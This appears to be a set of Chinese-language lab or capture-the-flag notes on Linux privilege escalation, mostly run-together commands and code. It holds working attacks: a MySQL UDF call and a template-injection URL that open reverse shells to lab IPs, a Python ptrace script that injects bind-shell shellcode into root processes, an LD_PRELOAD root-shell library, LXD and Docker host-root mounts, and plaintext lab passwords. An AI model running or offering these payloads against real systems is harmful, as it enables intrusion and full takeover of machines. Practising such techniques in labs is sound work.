searchsploit phpmailerpython -c 'import pty; pty.spawn("/bin/bash")'

mysql -uroot -pR@v3nSecurity   进入mysqlselect version(); #查看mysql版本  select @@basedir; #确认mysql安装位置show variables like '%basedir%'; #确认mysql安装位置show variables like '%secure%'; #查看可导出文件位置 （如果开启 文件写入和导出是会限制的，但在本靶场上是关的）show variables like '%plugin%'; #查找插件位置  （就是上面生成的文件 要放在哪里）show variables like '%compile%'; #查看系统版本

# 创建xiaodi表use mysql;create table xiaodi(line blob);# 往xiaodi表中插入二进制的udf.soinsert into xiaodi values(load_file('/tmp/udf.so'));# 导出udf.soselect * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';  # 创建do_system自定义函数create function do_system(这个名字可以随便起) returns integer soname 'udf.so';select do_system（更上面一样）('nc 192.168.1.5 6666 -e /bin/bash');

cp /usr/bin/php /tmp/php                    将php文件 拷贝到/tmp目录下 设置能力：setcap cap_setuid+ep /tmp/php        给 /tmp/php一个 附属 cap_setuid的能力 （cap_setuid 为 ） https://www.jianshu.com/p/60673ac0454f这篇文章有讲到 下面有说明删除能力：setcap -r /tmp/php查看单个能力：getcap /usr/bin/php查看所有能力：getcap -r / 2>/dev/null

通过 网站 https://gtfobins.github.io/ 参考 发现上面的 tmp/php 可以利用发现 /tmp/php  可以利用  接下来 用 

CAP_CHOWN 0 允许改变文件的所有权CAP_DAC_OVERRIDE 1 忽略对文件的所有DAC访问限制CAP_DAC_READ_SEARCH 2 忽略所有对读、搜索操作的限制CAP_FOWNER 3 以最后操作的UID,覆盖文件的先前的UIDCAP_FSETID 4 确保在文件被修改后不修改setuid/setgid位CAP_KILL 5 允许对不属于自己的进程发送信号CAP_SETGID 6 允许改变组IDCAP_SETUID 7 允许改变用户IDCAP_SETPCAP 8 允许向其它进程转移能力以及删除其它进程的任意能力(只限init进程)CAP_LINUX_IMMUTABLE 9 允许修改文件的不可修改(IMMUTABLE)和只添加(APPEND-ONLY)属性CAP_NET_BIND_SERVICE 10 允许绑定到小于1024的端口CAP_NET_BROADCAST 11 允许网络广播和多播访问(未使用)CAP_NET_ADMIN 12 允许执行网络管理任务：接口、防火墙和路由等.CAP_NET_RAW 13 允许使用原始(raw)套接字CAP_IPC_LOCK 14 允许锁定共享内存片段CAP_IPC_OWNER 15 忽略IPC所有权检查CAP_SYS_MODULE 16 插入和删除内核模块CAP_SYS_RAWIO 17 允许对ioperm/iopl的访问CAP_SYS_CHROOT 18 允许使用chroot()系统调用CAP_SYS_PTRACE 19 允许跟踪任何进程CAP_SYS_PACCT 20 允许配置进程记帐(process accounting)CAP_SYS_ADMIN 21 允许执行系统管理任务：加载/卸载文件系统、设置磁盘配额、开/关交换设备和文件等.CAP_SYS_BOOT 22 允许重新启动系统CAP_SYS_NICE 23 允许提升优先级，设置其它进程的优先级CAP_SYS_RESOURCE 24 忽略资源限制CAP_SYS_TIME 25 允许改变系统时钟CAP_SYS_TTY_CONFIG 26 允许配置TTY设备CAP_MKNOD 27 允许使用mknod()系统调用CAP_LEASE 28 允许在文件上建立租借锁CAP_SETFCAP 31 允许在指定的程序上授权能力给其它程序作者：循环不计次链接：https://www.jianshu.com/p/60673ac0454f来源：简书著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

从图片内容来看，您在讨论 Linux 系统下利用 CAP_SETUID 能力提升权限的原理问题。具体提到两点疑问：PHP 被设置为 cap_setuid+ep 的能力后，是不是可以直接使用 https://gtfobins.github.io/ 上的代码去提权？是否只要 PHP 拥有 Capability 能力，不管具体是设置什么，是否都能提权？解答如下：1. 为什么设置了 cap_setuid+ep 后可以使用提权代码？CAP_SETUID 能力允许进程在运行时切换用户 ID（UID）。如果 PHP 被赋予了 CAP_SETUID 能力（setcap cap_setuid+ep /path/to/php），PHP 脚本就可以调用类似 posix_setuid(0) 的函数将 UID 切换为 root（UID 为 0），进而执行高权限命令。gtfobins.github.io 提供的提权代码正是利用这个特性，通过执行 /bin/sh 来打开一个高权限 shell。2. 是否所有 Capability 都能提权？并不是所有 Capability 都能直接用于提权，关键在于：被赋予的能力是否允许进程绕过系统的权限限制。例如：CAP_SETUID 能力显然是有提权风险的，而 CAP_NET_BIND_SERVICE 只是允许非 root 用户绑定 1024 以下端口，这种能力本身不能直接导致提权。因此：只有 PHP 被赋予了特定的敏感能力（例如 CAP_SETUID），才能利用 gtfobins.github.io 上的代码提权。如果是其他与权限无关的 Capability，则不能直接通过代码切换 UID 或提权。如果您还有其他疑问，可以继续深入探讨！反正就搜一下 有这个命令 然后 直接搞 不行就算了 

http://192.168.1.6:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E1%2E5%2F6688+0%3E%261%22%27%29%7D%7D

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypesimport sysimport struct# Macros defined in <sys/ptrace.h># https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4PTRACE_GETREGS    = 12PTRACE_SETREGS    = 13PTRACE_ATTACH     = 16PTRACE_DETACH     = 17# Structure defined in <sys/user.h># https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):    _fields_ = [        ("r15", ctypes.c_ulonglong),        ("r14", ctypes.c_ulonglong),        ("r13", ctypes.c_ulonglong),        ("r12", ctypes.c_ulonglong),        ("rbp", ctypes.c_ulonglong),        ("rbx", ctypes.c_ulonglong),        ("r11", ctypes.c_ulonglong),        ("r10", ctypes.c_ulonglong),        ("r9", ctypes.c_ulonglong),        ("r8", ctypes.c_ulonglong),        ("rax", ctypes.c_ulonglong),        ("rcx", ctypes.c_ulonglong),        ("rdx", ctypes.c_ulonglong),        ("rsi", ctypes.c_ulonglong),        ("rdi", ctypes.c_ulonglong),        ("orig_rax", ctypes.c_ulonglong),        ("rip", ctypes.c_ulonglong),        ("cs", ctypes.c_ulonglong),        ("eflags", ctypes.c_ulonglong),        ("rsp", ctypes.c_ulonglong),        ("ss", ctypes.c_ulonglong),        ("fs_base", ctypes.c_ulonglong),        ("gs_base", ctypes.c_ulonglong),        ("ds", ctypes.c_ulonglong),        ("es", ctypes.c_ulonglong),        ("fs", ctypes.c_ulonglong),        ("gs", ctypes.c_ulonglong),    ]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, None, None)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.shellcode="x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05"# Inject the shellcode into the running process byte by byte.for i in xrange(0,len(shellcode),4):  # Convert the byte to little endian.  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('x00').encode('hex')  shellcode_byte=int(shellcode_byte_little_endian,16)  # Inject the byte.  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, None, None)

python -m http.server 8080wget http://192.168.139.141:8080/inject.py

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 11.py $i; donenc 192.168.1.6 5600

#include<stdio.h>#include<stdlib.h>#include<sys/types.h>#include<unistd.h>void _init() {    unsetenv("LD_PRELOAD");   // 清除 LD_PRELOAD 环境变量    setgid(0);                 // 设置组 ID 为 0 (root)    setuid(0);                 // 设置用户 ID 为 0 (root)    system("/bin/sh");        // 启动一个 shell}

gcc -fPIC -shared -o 2.so 2.c -nostartfiles

sudo LD_PRELOAD=/tmp/2.so find  （这个命令就是 让这个find执行的时候绑定 这个 2.so文件  因为find 是sudo给予root 权限所以 执行root的时候用root权限执行2.so文件 成功root权限）whoami

Defaults env_keep += LD_PRELOADtest ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.shsudo LD_PRELOAD=/tmp/2.so /tmp/LinEnum.sh

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test      （镜像导入 命名为test）lxc init test test -c security.privileged=true                                （初始化这个镜像）lxc config device add test test disk source=/ path=/mnt/root recursive=true    （配置这个镜像的磁盘，source=/ 这个是真机根目录 path=/mnt/root 镜像里面的目录） lxc start test                                                        lxc exec test /bin/sh                                         cd /mnt/root/root          （相当于进入 真机的 root目录）                                                   （相当于真机的/root目录）cat flag.txt

把一个普通账号test添加到docker组使用newgrp将root初始组切换为dockerusermod -G docker test  （加入 docker 用户组 将test用户加进去）newgrp dockersu test  切换到 test用户 docker run -v /:/mnt -it alpine (将真机的根目录 放到 mnt目录  随便拉个目录 )所以 ls /mnt/root   (这里查看 就是真机的 root目录 这个相当于 上面得  lxd)  提权了

User: anurodhPass: !d0ntKn0wmYp@ssw0rd2、检测及利用：./LinEnum.sh3、创建容器，挂载磁盘，进入容器，进入目录提权docker run -v /:/mnt -it alpinecd /mnt/root

fscan -h 192.168.1.0/24ftp 192.168.1.8get tom.zip(密码：iubire)

ssh tom@192.168.1.8 -i id_rsa2、Rbash绕过：python -m http.server 8080wget http://192.168.1.3:8080/LinEnum.sh

awk 'BEGIN {system("/bin/bash")}'

./LinEnum.shcat /home/tom/.mysql_historysu root(xx11yy22!)